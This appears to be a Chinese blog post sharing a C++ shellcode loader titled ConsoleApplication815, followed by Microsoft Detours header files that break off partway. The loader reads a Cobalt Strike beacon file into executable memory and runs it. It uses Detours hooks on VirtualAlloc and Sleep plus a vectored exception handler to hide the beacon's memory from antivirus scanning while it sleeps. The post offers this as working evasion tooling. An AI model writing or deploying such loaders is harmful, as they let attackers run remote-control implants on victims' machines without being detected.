ConsoleApplication815项目(直接加载+VEH Hook Load)

这篇具有很好参考价值的文章主要介绍了ConsoleApplication815项目(直接加载+VEH Hook Load)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

上线图
ConsoleApplication815项目(直接加载+VEH Hook Load),免杀,网络安全,c++
ConsoleApplication815.cpp


#include <iostream>
#include<Windows.h>
#include "detours.h"
#include "detver.h"
#pragma comment(lib,"detours.lib")

#pragma warning(disable:4996)


LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;


BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;


//Hook VirtualAlloc函数的原因是我们需要知道Beacon在自展开时分配的可执行内存起始地址和大小是多少好在后面对这块内存取消X属性以免被扫描
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
	Beacon_data_len = dwSize;
	Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
	printf("分配大小:%d", Beacon_data_len);
	printf("分配地址:%llx \n", Beacon_address);
	return Beacon_address;
}

//Hool Sleep函数是因为我们需要在Beacon进入Sleep后立马取消Beacon内存区域的X属性
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
	if (Vir_FLAG)
	{
		VirtualFree(shellcode_addr, 0, MEM_RELEASE);
		Vir_FLAG = false;
	}
	printf("sleep时间:%d\n", dwMilliseconds);
	SetEvent(hEvent);
	OldSleep(dwMilliseconds);
}

void Hook()
{
	DetourRestoreAfterWith(); //避免重复HOOK,恢复原来HOOK
	DetourTransactionBegin(); // 开始HOOK
	DetourUpdateThread(GetCurrentThread());  //刷新当前线程
	DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //将拦截的函数附加到原函数的地址上,这里可以拦截多个函数  NewVirtualAlloc
	DetourAttach((PVOID*)&OldSleep, NewSleep);    //将拦截的函数附加到原函数的地址上, 这里可以拦截多个函数  NewSleep
	DetourTransactionCommit(); //  提交HOOK
}

void UnHook()
{
	DetourTransactionBegin();   //恢复原来HOOK
	DetourUpdateThread(GetCurrentThread());   //刷新当前线程
	DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //解除hook
	DetourTransactionCommit();  //提交
}

size_t GetSize(char* szFilePath)
{
	size_t size;
	FILE* f = fopen(szFilePath, "rb");
	fseek(f, 0, SEEK_END);  //fseek函数用于重定位流(数据流/文件)上的文件内部位置指针   //SEEK_END代表文件末尾
	size = ftell(f); //获取文件的 当前指针位置 相对于 文件首地址 的偏移字节数
	rewind(f);  //rewind() 函数将文件位置指示符设置为给定文件流的开头
	fclose(f);
	return size;
}

unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
	unsigned char* p = NULL;
	FILE* f = NULL;
	size_t res = 0;
	*size = GetSize(szFilePath);  //
	if (*size == 0) return NULL;
	f = fopen(szFilePath, "rb");
	if (f == NULL)
	{
		printf("Binary file does not exists!\n");
		return 0;
	}
	p = new unsigned char[*size];
	// Read file
	rewind(f);
	res = fread(p, sizeof(unsigned char), *size, f);
	fclose(f);
	if (res == 0)
	{
		delete[] p;
		return NULL;
	}
	return p;
}

BOOL is_Exception(DWORD64 Exception_addr)
{
	if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
	{
		printf("地址符合:%llx\n", Exception_addr);
		return true;
	}
	printf("地址不符合:%llx\n", Exception_addr);
	return false;
}


//设置VEH异常处理函数,用来在因内存X属性取消后触发异常时恢复X属性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
	printf("FirstVectExcepHandler\n");
	printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
	printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
	if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))    //判断异常错误码是否等于0xc0000005,并且调用is_Exception函数来判断pExcepInfo->ContextRecord->Rip是否符合某个条件。pExcepInfo 是一个指向异常信息结构体 EXCEPINFO 的指针,用于存储关于异常的详细信息,ContextRecord 是 EXCEPTION_RECORD 结构体的一个成员,它是一个指向上下文记录的指针,其中包含有关引发异常的线程的上下文信息
	{
		printf("恢复Beacon内存属性\n");
		VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);  //恢复beacon内存属性
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

//然后创建一个线程用来在Beacon进入睡眠之后立刻取消Beacon内存区域的X属性
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
	printf("Beacon_set_Memory_attributes启动\n");
	while (true)  
	{
		WaitForSingleObject(hEvent, INFINITE);   //INFINITE表示等待时间无限长,直到收到信号为止
		printf("设置Beacon内存属性不可执行\n");
		VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);   //内存属性
		ResetEvent(hEvent);     //重置事件对象
	}
	return 0;
}

int main()
{
	//创建事件用来同步线程
	hEvent = CreateEvent(NULL, TRUE, false, NULL);   

	AddVectoredExceptionHandler(1, &FirstVectExcepHandler);   //表示注册一个优先级为 1 的向量化异常处理程序,并将其指向名为 FirstVectExcepHandler 的函数。当发生相应的异常时,被注册的处理程序 FirstVectExcepHandler 将会被调用。
	Hook();
	HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);   //创建线程
	CloseHandle(hThread1);   //关闭句柄



	unsigned char* BinData = NULL;
	size_t size = 0;


	//最后就是读取Beacon.bin加载进内存执行了
	char* szFilePath = "F:\\Tools\\beacon811.bin";    
	BinData = ReadBinaryFile(szFilePath, &size);    //ReadBinaryFile函数能直接读取二进制文件
	shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);    //申请内存空间
	memcpy(shellcode_addr, BinData, size);    //将内存复制进去
	VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);   //修改内存属性
	(*(int(*)()) shellcode_addr)();

	UnHook();


	return 0;
}


//整体思路:Beacon进入睡眠就取消它内存的可执行属性,等Beacon线程醒来时触发异常交由VEH异常处理函数恢复内存的可执行属性,然后Beacon执行完成后又进入睡眠一直重复上述过程

detver.h

//
//
//  Common version parameters.
//
//  Microsoft Research Detours Package, Version 3.0 Build_316.
//
//  Copyright (c) Microsoft Corporation.  All rights reserved.
//

#ifndef DETOURS_STRINGIFY
#define DETOURS_STRINGIFY(x)    DETOURS_STRINGIFY_(x)
#define DETOURS_STRINGIFY_(x)    #x
#endif

#define VER_FILEFLAGSMASK   0x3fL
#define VER_FILEFLAGS       0x0L
#define VER_FILEOS          0x00040004L
#define VER_FILETYPE        0x00000002L
#define VER_FILESUBTYPE     0x00000000L

#define VER_DETOURS_BITS    DETOUR_STRINGIFY(DETOURS_BITS)

detours.h

/
//
//  Core Detours Functionality (detours.h of detours.lib)
//
//  Microsoft Research Detours Package, Version 4.0.1
//
//  Copyright (c) Microsoft Corporation.  All rights reserved.
//

#pragma once
#ifndef _DETOURS_H_
#define _DETOURS_H_

#define DETOURS_VERSION     0x4c0c1   // 0xMAJORcMINORcPATCH

//
//

#ifdef DETOURS_INTERNAL

#define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS 1
#define _ARM_WINAPI_PARTITION_DESKTOP_SDK_AVAILABLE 1

#pragma warning(disable:4068) // unknown pragma (suppress)

#if _MSC_VER >= 1900
#pragma warning(push)
#pragma warning(disable:4091) // empty typedef
#endif

// Suppress declspec(dllimport) for the sake of Detours
// users that provide kernel32 functionality themselves.
// This is ok in the mainstream case, it will just cost
// an extra instruction calling some functions, which
// LTCG optimizes away.
//
#define _KERNEL32_ 1
#define _USER32_ 1

#include <windows.h>
#if (_MSC_VER < 1310)
#else
#pragma warning(push)
#if _MSC_VER > 1400
#pragma warning(disable:6102 6103) // /analyze warnings
#endif
#include <strsafe.h>
#include <intsafe.h>
#pragma warning(pop)
#endif
#include <crtdbg.h>

// Allow Detours to cleanly compile with the MingW toolchain.
//
#ifdef __GNUC__
#define __try
#define __except(x) if (0)
#include <strsafe.h>
#include <intsafe.h>
#endif

// From winerror.h, as this error isn't found in some SDKs:
//
// MessageId: ERROR_DYNAMIC_CODE_BLOCKED
//
// MessageText:
//
// The operation was blocked as the process prohibits dynamic code generation.
//
#define ERROR_DYNAMIC_CODE_BLOCKED       1655L

#endif // DETOURS_INTERNAL

//
//

#undef DETOURS_X64
#undef DETOURS_X86
#undef DETOURS_IA64
#undef DETOURS_ARM
#undef DETOURS_ARM64
#undef DETOURS_BITS
#undef DETOURS_32BIT
#undef DETOURS_64BIT

#if defined(_X86_)
#define DETOURS_X86
#define DETOURS_OPTION_BITS 64

#elif defined(_AMD64_)
#define DETOURS_X64
#define DETOURS_OPTION_BITS 32

#elif defined(_IA64_)
#define DETOURS_IA64
#define DETOURS_OPTION_BITS 32

#elif defined(_ARM_)
#define DETOURS_ARM

#elif defined(_ARM64_)
#define DETOURS_ARM64

#else
#error Unknown architecture (x86, amd64, ia64, arm, arm64)
#endif

#ifdef _WIN64
#undef DETOURS_32BIT
#define DETOURS_64BIT 1
#define DETOURS_BITS 64
// If all 64bit kernels can run one and only one 32bit architecture.
//#define DETOURS_OPTION_BITS 32
#else
#define DETOURS_32BIT 1
#undef DETOURS_64BIT
#define DETOURS_BITS 32
// If all 64bit kernels can run one and only one 32bit architecture.
//#define DETOURS_OPTION_BITS 32
#endif

/// Helper Macros.
//
#define DETOURS_STRINGIFY_(x)    #x
#define DETOURS_STRINGIFY(x)    DETOURS_STRINGIFY_(x)

#define VER_DETOURS_BITS    DETOURS_STRINGIFY(DETOURS_BITS)

//
//

#if (_MSC_VER < 1299) && !defined(__MINGW32__)
typedef LONG LONG_PTR;
typedef ULONG ULONG_PTR;
#endif

/ SAL 2.0 Annotations w/o SAL.
//
//  These definitions are include so that Detours will build even if the
//  compiler doesn't have full SAL 2.0 support.
//
#ifndef DETOURS_DONT_REMOVE_SAL_20

#ifdef DETOURS_TEST_REMOVE_SAL_20
#undef _Analysis_assume_
#undef _Benign_race_begin_
#undef _Benign_race_end_
#undef _Field_range_
#undef _Field_size_
#undef _In_
#undef _In_bytecount_
#undef _In_count_
#undef __in_ecount
#undef _In_opt_
#undef _In_opt_bytecount_
#undef _In_opt_count_
#undef _In_opt_z_
#undef _In_range_
#undef _In_reads_
#undef _In_reads_bytes_
#undef _In_reads_opt_
#undef _In_reads_opt_bytes_
#undef _In_reads_or_z_
#undef _In_z_
#undef _Inout_
#undef _Inout_opt_
#undef _Inout_z_count_
#undef _Out_
#undef _Out_opt_
#undef _Out_writes_
#undef _Outptr_result_maybenull_
#undef _Readable_bytes_
#undef _Success_
#undef _Writable_bytes_
#undef _Pre_notnull_
#endif

#if defined(_Deref_out_opt_z_) && !defined(_Outptr_result_maybenull_)
#define _Outptr_result_maybenull_ _Deref_out_opt_z_
#endif

#if defined(_In_count_) && !defined(_In_reads_)
#define _In_reads_(x) _In_count_(x)
#endif

#if defined(_In_opt_count_) && !defined(_In_reads_opt_)
#define _In_reads_opt_(x) _In_opt_count_(x)
#endif

#if defined(_In_opt_bytecount_) && !defined(_In_reads_opt_bytes_)
#define _In_reads_opt_bytes_(x) _In_opt_bytecount_(x)
#endif

#if defined(_In_bytecount_) && !defined(_In_reads_bytes_)
#define _In_reads_bytes_(x) _In_bytecount_(x)
#endif

#ifndef _In_
#define _In_
#endif

#ifndef _In_bytecount_
#define _In_bytecount_(x)
#endif

#ifndef _In_count_
#define _In_count_(x)
#endif

#ifndef __in_ecount
#define __in_ecount(x)
#endif

#ifndef _In_opt_
#define _In_opt_
#endif

#ifndef _In_opt_bytecount_
#define _In_opt_bytecount_(x)
#endif

#ifndef _In_opt_count_
#define _In_opt_count_(x)
#endif

#ifndef _In_opt_z_
#define _In_opt_z_
#endif

#ifndef _In_range_
#define _In_range_(x,y)
#endif

#ifndef _In_reads_
#define _In_reads_(x)
#endif

#ifndef _In_reads_bytes_
#define _In_reads_bytes_(x)
#endif

#ifndef _In_reads_opt_
#define _In_reads_opt_(x)
#endif

#ifndef _In_reads_opt_bytes_
#define _In_reads_opt_bytes_(x)
#endif

#ifndef _In_reads_or_z_
#define _In_reads_or_z_
#endif

#ifndef _In_z_
#define _In_z_
#endif

#ifndef _Inout_
#define _Inout_
#endif

#ifndef _Inout_opt_
#define _Inout_opt_
#endif

#ifndef _Inout_z_count_
#define _Inout_z_count_(x)
#endif

#ifndef _Out_
#define _Out_
#endif

#ifndef _Out_opt_
#define _Out_opt_
#endif

#ifndef _Out_writes_
#define _Out_writes_(x)
#endif

#ifndef _Outptr_result_maybenull_
#define _Outptr_result_maybenull_
#endif

#ifndef _Writable_bytes_
#define _Writable_bytes_(x)
#endif

#ifndef _Readable_bytes_
#define _Readable_bytes_(x)
#endif

#ifndef _Success_
#define _Success_(x)
#endif

#ifndef _Pre_notnull_
#define _Pre_notnull_
#endif

#ifdef DETOURS_INTERNAL

#pragma warning(disable:4615) // unknown warning type (suppress with older compilers)

#ifndef _Benign_race_begin_
#define _Benign_race_begin_
#endif

#ifndef _Benign_race_end_
#define _Benign_race_end_
#endif

#ifndef _Field_size_
#define _Field_size_(x)
#endif

#ifndef _Field_range_
#define _Field_range_(x,y)
#endif

#ifndef _Analysis_assume_
#define _Analysis_assume_(x)
#endif

#endif // DETOURS_INTERNAL
#endif // DETOURS_DONT_REMOVE_SAL_20

//
//
#ifndef GUID_DEFINED
#define GUID_DEFINED
typedef struct  _GUID
{
    DWORD Data1;
    WORD Data2;
    WORD Data3;
    BYTE Data4[8];
} GUID;

#ifdef INITGUID
#define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
        const GUID name \
                = { l, w1, w2, { b1, b2,  b3,  b4,  b5,  b6,  b7,  b8 } }
#else
#define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
    const GUID name
#endif // INITGUID
#endif // !GUID_DEFINED

#if defined(__cplusplus)
#ifndef _REFGUID_DEFINED
#define _REFGUID_DEFINED
#define REFGUID             const GUID &
#endif // !_REFGUID_DEFINED
#else // !__cplusplus
#ifndef _REFGUID_DEFINED
#define _REFGUID_DEFINED
#define REFGUID             const GUID * const
#endif // !_REFGUID_DEFINED
#endif // !__cplusplus

#ifndef ARRAYSIZE
#define ARRAYSIZE(x)    (sizeof(x)/sizeof(x[0]))
#endif

//
//

#ifdef __cplusplus
extern "C" {
#endif // __cplusplus

    /// Instruction Target Macros.
    //
#define DETOUR_INSTRUCTION_TARGET_NONE          ((PVOID)0)
#define DETOUR_INSTRUCTION_TARGET_DYNAMIC       ((PVOID)(LONG_PTR)-1)
#define DETOUR_SECTION_HEADER_SIGNATURE         0x00727444   // "Dtr\0"

    extern const GUID DETOUR_EXE_RESTORE_GUID;
    extern const GUID DETOUR_EXE_HELPER_GUID;

#define DETOUR_TRAMPOLINE_SIGNATURE             0x21727444  // Dtr!
    typedef struct _DETOUR_TRAMPOLINE DETOUR_TRAMPOLINE, * PDETOUR_TRAMPOLINE;

#ifndef DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS
#define DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS      32
#endif // !DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS

    /// Binary Structures.
    //
#pragma pack(push, 8)
    typedef struct _DETOUR_SECTION_HEADER
    {
        DWORD       cbHeaderSize;
        DWORD       nSignature;
        DWORD       nDataOffset;
        DWORD       cbDataSize;

        DWORD       nOriginalImportVirtualAddress;
        DWORD       nOriginalImportSize;
        DWORD       nOriginalBoundImportVirtualAddress;
        DWORD       nOriginalBoundImportSize;

        DWORD       nOriginalIatVirtualAddress;
        DWORD       nOriginalIatSize;
        DWORD       nOriginalSizeOfImage;
        DWORD       cbPrePE;

        DWORD       nOriginalClrFlags;
        DWORD       reserved1;
        DWORD       reserved2;
        DWORD       reserved3;

        // Followed by cbPrePE bytes of data.
    } DETOUR_SECTION_HEADER, * PDETOUR_SECTION_HEADER;

    typedef struct _DETOUR_SECTION_RECORD
    {
        DWORD       cbBytes;
        DWORD       nReserved;
        GUID        guid;
    } DETOUR_SECTION_RECORD, * PDETOUR_SECTION_RECORD;

    typedef struct _DETOUR_CLR_HEADER
    {
        // Header versioning
        ULONG                   cb;
        USHORT                  MajorRuntimeVersion;
        USHORT                  MinorRuntimeVersion;

        // Symbol table and startup information
        IMAGE_DATA_DIRECTORY    MetaData;
        ULONG                   Flags;

        // Followed by the rest of the IMAGE_COR20_HEADER
    } DETOUR_CLR_HEADER, * PDETOUR_CLR_HEADER;

    typedef struct _DETOUR_EXE_RESTORE
    {
        DWORD               cb;
        DWORD               cbidh;
        DWORD               cbinh;
        DWORD               cbclr;

        PBYTE               pidh;
        PBYTE               pinh;
        PBYTE               pclr;

        IMAGE_DOS_HEADER    idh;
        union {
            IMAGE_NT_HEADERS    inh;        // all environments have this
#ifdef IMAGE_NT_OPTIONAL_HDR32_MAGIC    // some environments do not have this
            IMAGE_NT_HEADERS32  inh32;
#endif
#ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC    // some environments do not have this
            IMAGE_NT_HEADERS64  inh64;
#endif
#ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC    // some environments do not have this
            BYTE                raw[sizeof(IMAGE_NT_HEADERS64) +
                sizeof(IMAGE_SECTION_HEADER) * DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS];
#else
            BYTE                raw[0x108 + sizeof(IMAGE_SECTION_HEADER) * DETOUR_MAX_SUPPORTED_IMAGE_SECTION_HEADERS];
#endif
        };
        DETOUR_CLR_HEADER   clr;

    } DETOUR_EXE_RESTORE, * PDETOUR_EXE_RESTORE;

#ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC
    C_ASSERT(sizeof(IMAGE_NT_HEADERS64) == 0x108);
#endif

    // The size can change, but assert for clarity due to the muddying #ifdefs.
#ifdef _WIN64
    C_ASSERT(sizeof(DETOUR_EXE_RESTORE) == 0x688);
#else
    C_ASSERT(sizeof(DETOUR_EXE_RESTORE) == 0x678);
#endif

    typedef struct _DETOUR_EXE_HELPER
    {
        DWORD               cb;
        DWORD               pid;
        DWORD               nDlls;
        CHAR                rDlls[4];
    } DETOUR_EXE_HELPER, * PDETOUR_EXE_HELPER;

#pragma pack(pop)

#define DETOUR_SECTION_HEADER_DECLARE(cbSectionSize) \
{ \
      sizeof(DETOUR_SECTION_HEADER),\
      DETOUR_SECTION_HEADER_SIGNATURE,\
      sizeof(DETOUR_SECTION_HEADER),\
      (cbSectionSize),\
      \
      0,\
      0,\
      0,\
      0,\
      \
      0,\
      0,\
      0,\
      0,\
}

    / Binary Typedefs.
    //
    typedef BOOL(CALLBACK* PF_DETOUR_BINARY_BYWAY_CALLBACK)(
        _In_opt_ PVOID pContext,
        _In_opt_ LPCSTR pszFile,
        _Outptr_result_maybenull_ LPCSTR* ppszOutFile);

    typedef BOOL(CALLBACK* PF_DETOUR_BINARY_FILE_CALLBACK)(
        _In_opt_ PVOID pContext,
        _In_ LPCSTR pszOrigFile,
        _In_ LPCSTR pszFile,
        _Outptr_result_maybenull_ LPCSTR* ppszOutFile);

    typedef BOOL(CALLBACK* PF_DETOUR_BINARY_SYMBOL_CALLBACK)(
        _In_opt_ PVOID pContext,
        _In_ ULONG nOrigOrdinal,
        _In_ ULONG nOrdinal,
        _Out_ ULONG* pnOutOrdinal,
        _In_opt_ LPCSTR pszOrigSymbol,
        _In_opt_ LPCSTR pszSymbol,
        _Outptr_result_maybenull_ LPCSTR* ppszOutSymbol);

    typedef BOOL(CALLBACK* PF_DETOUR_BINARY_COMMIT_CALLBACK)(
        _In_opt_ PVOID pContext);

    typedef BOOL(CALLBACK* PF_DETOUR_ENUMERATE_EXPORT_CALLBACK)(_In_opt_ PVOID pContext,
        _In_ ULONG nOrdinal,
        _In_opt_ LPCSTR pszName,
        _In_opt_ PVOID pCode);

    typedef BOOL(CALLBACK* PF_DETOUR_IMPORT_FILE_CALLBACK)(_In_opt_ PVOID pContext,
        _In_opt_ HMODULE hModule,
        _In_opt_ LPCSTR pszFile);

    typedef BOOL(CALLBACK* PF_DETOUR_IMPORT_FUNC_CALLBACK)(_In_opt_ PVOID pContext,
        _In_ DWORD nOrdinal,
        _In_opt_ LPCSTR pszFunc,
        _In_opt_ PVOID pvFunc);

    // Same as PF_DETOUR_IMPORT_FUNC_CALLBACK but extra indirection on last parameter.
    typedef BOOL(CALLBACK* PF_DETOUR_IMPORT_FUNC_CALLBACK_EX)(_In_opt_ PVOID pContext,
        _In_ DWORD nOrdinal,
        _In_opt_ LPCSTR pszFunc,
        _In_opt_ PVOID* ppvFunc);

    typedef VOID* PDETOUR_BINARY;
    typedef VOID* PDETOUR_LOADED_BINARY;

     Transaction APIs.
    //
    LONG WINAPI DetourTransactionBegin(VOID);
    LONG WINAPI DetourTransactionAbort(VOID);
    LONG WINAPI DetourTransactionCommit(VOID);
    LONG WINAPI DetourTransactionCommitEx(_Out_opt_ PVOID** pppFailedPointer);

    LONG WINAPI DetourUpdateThread(_In_ HANDLE hThread);

    LONG WINAPI DetourAttach(_Inout_ PVOID* ppPointer,
        _In_ PVOID pDetour);

    LONG WINAPI DetourAttachEx(_Inout_ PVOID* ppPointer,
        _In_ PVOID pDetour,
        _Out_opt_ PDETOUR_TRAMPOLINE* ppRealTrampoline,
        _Out_opt_ PVOID* ppRealTarget,
        _Out_opt_ PVOID* ppRealDetour);

    LONG WINAPI DetourDetach(_Inout_ PVOID* ppPointer,
        _In_ PVOID pDetour);

    BOOL WINAPI DetourSetIgnoreTooSmall(_In_ BOOL fIgnore);
    BOOL WINAPI DetourSetRetainRegions(_In_ BOOL fRetain);
    PVOID WINAPI DetourSetSystemRegionLowerBound(_In_ PVOID pSystemRegionLowerBound);
    PVOID WINAPI DetourSetSystemRegionUpperBound(_In_ PVOID pSystemRegionUpperBound);

    // Code Functions.
    //
    PVOID WINAPI DetourFindFunction(_In_ LPCSTR pszModule,
        _In_ LPCSTR pszFunction);
    PVOID WINAPI DetourCodeFromPointer(_In_ PVOID pPointer,
        _Out_opt_ PVOID* ppGlobals);
    PVOID WINAPI DetourCopyInstruction(_In_opt_ PVOID pDst,
        _Inout_opt_ PVOID* ppDstPool,
        _In_ PVOID pSrc,
        _Out_opt_ PVOID* ppTarget,
        _Out_opt_ LONG* plExtra);
    BOOL WINAPI DetourSetCodeModule(_In_ HMODULE hModule,
        _In_ BOOL fLimitReferencesToModule);
    PVOID WINAPI DetourAllocateRegionWithinJumpBounds(_In_ LPCVOID pbTarget,
        _Out_ PDWORD pcbAllocatedSize);
    BOOL WINAPI DetourIsFunctionImported(_In_ PBYTE pbCode,
        _In_ PBYTE pbAddress);

    / Loaded Binary Functions.
    //
    HMODULE WINAPI DetourGetContainingModule(_In_ PVOID pvAddr);
    HMODULE WINAPI DetourEnumerateModules(_In_opt_ HMODULE hModuleLast);
    PVOID WINAPI DetourGetEntryPoint(_In_opt_ HMODULE hModule);
    ULONG WINAPI DetourGetModuleSize(_In_opt_ HMODULE hModule);
    BOOL WINAPI DetourEnumerateExports(_In_ HMODULE hModule,
        _In_opt_ PVOID pContext,
        _In_ PF_DETOUR_ENUMERATE_EXPORT_CALLBACK pfExport);
    BOOL WINAPI DetourEnumerateImports(_In_opt_ HMODULE hModule,
        _In_opt_ PVOID pContext,
        _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile,
        _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK pfImportFunc);

    BOOL WINAPI DetourEnumerateImportsEx(_In_opt_ HMODULE hModule,
        _In_opt_ PVOID pContext,
        _In_opt_ PF_DETOUR_IMPORT_FILE_CALLBACK pfImportFile,
        _In_opt_ PF_DETOUR_IMPORT_FUNC_CALLBACK_EX pfImportFuncEx);

    _Writable_bytes_(*pcbData)
        _Readable_bytes_(*pcbData)
        _Success_(return != NULL)
        PVOID WINAPI DetourFindPayload(_In_opt_ HMODULE hModule,
            _In_ REFGUID rguid,
            _Out_opt_ DWORD* pcbData);

    _Writable_bytes_(*pcbData)
        _Readable_bytes_(*pcbData)
        _Success_(return != NULL)
        PVOID WINAPI DetourFindPayloadEx(_In_ REFGUID rguid,
            _Out_opt_ DWORD* pcbData);

    DWORD WINAPI DetourGetSizeOfPayloads(_In_opt_ HMODULE hModule);

    BOOL WINAPI DetourFreePayload(_In_ PVOID pvData);
    / Persistent Binary Functions.
    //

    PDETOUR_BINARY WINAPI DetourBinaryOpen(_In_ HANDLE hFile);

    _Writable_bytes_(*pcbData)
        _Readable_bytes_(*pcbData)
        _Success_(return != NULL)
        PVOID WINAPI DetourBinaryEnumeratePayloads(_In_ PDETOUR_BINARY pBinary,
            _Out_opt_ GUID* pGuid,
            _Out_ DWORD* pcbData,
            _Inout_ DWORD* pnIterator);

    _Writable_bytes_(*pcbData)
        _Readable_bytes_(*pcbData)
        _Success_(return != NULL)
        PVOID WINAPI DetourBinaryFindPayload(_In_ PDETOUR_BINARY pBinary,
            _In_ REFGUID rguid,
            _Out_ DWORD* pcbData);

    PVOID WINAPI DetourBinarySetPayload(_In_ PDETOUR_BINARY pBinary,
        _In_ REFGUID rguid,
        _In_reads_opt_(cbData) PVOID pData,
        _In_ DWORD cbData);
    BOOL WINAPI DetourBinaryDeletePayload(_In_ PDETOUR_BINARY pBinary, _In_ REFGUID rguid);
    BOOL WINAPI DetourBinaryPurgePayloads(_In_ PDETOUR_BINARY pBinary);
    BOOL WINAPI DetourBinaryResetImports(_In_ PDETOUR_BINARY pBinary);
    BOOL WINAPI DetourBinaryEditImports(_In_ PDETOUR_BINARY pBinary,
        _In_opt_ PVOID pContext,
        _In_opt_ PF_DETOUR_BINARY_BYWAY_CALLBACK pfByway,
        _In_opt_ PF_DETOUR_BINARY_FILE_CALLBACK pfFile,
        _In_opt_ PF_DETOUR_BINARY_SYMBOL_CALLBACK pfSymbol,
        _In_opt_ PF_DETOUR_BINARY_COMMIT_CALLBACK pfCommit);
    BOOL WINAPI DetourBinaryWrite(_In_ PDETOUR_BINARY pBinary, _In_ HANDLE hFile);
    BOOL WINAPI DetourBinaryClose(_In_ PDETOUR_BINARY pBinary);

    /// Create Process & Load Dll.
    //
    _Success_(return != NULL)
        PVOID WINAPI DetourFindRemotePayload(_In_ HANDLE hProcess,
            _In_ REFGUID rguid,
            _Out_opt_ DWORD* pcbData);

    typedef BOOL(WINAPI* PDETOUR_CREATE_PROCESS_ROUTINEA)(
        _In_opt_ LPCSTR lpApplicationName,
        _Inout_opt_ LPSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOA lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation);

    typedef BOOL(WINAPI* PDETOUR_CREATE_PROCESS_ROUTINEW)(
        _In_opt_ LPCWSTR lpApplicationName,
        _Inout_opt_ LPWSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCWSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOW lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation);

    BOOL WINAPI DetourCreateProcessWithDllA(_In_opt_ LPCSTR lpApplicationName,
        _Inout_opt_ LPSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOA lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ LPCSTR lpDllName,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEA pfCreateProcessA);

    BOOL WINAPI DetourCreateProcessWithDllW(_In_opt_ LPCWSTR lpApplicationName,
        _Inout_opt_ LPWSTR lpCommandLine,
        _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
        _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
        _In_ BOOL bInheritHandles,
        _In_ DWORD dwCreationFlags,
        _In_opt_ LPVOID lpEnvironment,
        _In_opt_ LPCWSTR lpCurrentDirectory,
        _In_ LPSTARTUPINFOW lpStartupInfo,
        _Out_ LPPROCESS_INFORMATION lpProcessInformation,
        _In_ LPCSTR lpDllName,
        _In_opt_ PDETOUR_CREATE_PROCESS_ROUTINEW pfCreateProcessW);

#ifdef UNICODE
#define DetourCreateProcessWithDll      DetourCreateProcessWithDllW
